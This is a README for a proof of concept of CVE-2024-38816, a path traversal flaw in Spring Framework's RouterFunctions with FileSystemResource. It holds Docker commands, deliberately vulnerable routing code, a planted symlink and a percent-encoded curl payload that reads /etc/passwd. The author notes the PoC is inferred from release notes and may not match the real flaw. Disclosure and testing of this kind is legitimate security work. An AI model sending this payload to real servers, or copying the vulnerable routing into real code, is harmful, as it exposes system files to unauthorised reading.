
CVE-2024-38816 Proof of Concept
This is a proof of concept for the CVE-2024-38816 vulnerability, demonstrating a path traversal exploit.
Build the Docker image: (Spring Boot 3.0.13, based on Spring Framework 6.0.3)
docker build -t cve-2024-38816-poc .
Run the container and expose port 8080 to the host machine:
docker run -d -p 8080:8080 --name cve-2024-38816-poc cve-2024-38816-poc
Run the following command to execute the PoC and confirm the vulnerability:
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
If the contents of the /etc/passwd file are displayed, the vulnerability is confirmed.
This PoC was created based on an analysis of the release notes and commit logs. The behavior of the actual vulnerability may differ, so accuracy is not guaranteed. Use at your own risk.
The vulnerability was patched in Spring Framework 6.1.13, as confirmed by the release notes.
Upon reviewing the release notes and related commit logs, I have identified the following two issues as potentially linked to this vulnerability:
According to the security advisory, the following conditions likely need to be met for the attack to succeed:
RouterFunctions is usedFileSystemResource is usedA Docker environment is used to reproduce the vulnerability.
Create PathTraversalDemoApplication.java with the following code to set up static file routing using RouterFunction and FileSystemResource:
public RouterFunction<ServerResponse> staticResourceRouter() {
return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
}
Add the following command to the Dockerfile to create a symbolic link:
RUN ln -s /static /app/static/link
Create a payload that leverages %-encoding to traverse directories through the symbolic link.
/static/link/%2e%2e/etc/passwdUse the following curl command to execute the PoC and verify if the attack is successful:
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
If the attack is successful, the contents of the /etc/passwd file will be displayed.
This PoC is provided for educational and security research purposes. Before using this in a real system, ensure the vulnerability has been fixed and you have proper authorization. The author takes no responsibility for any misuse of this code.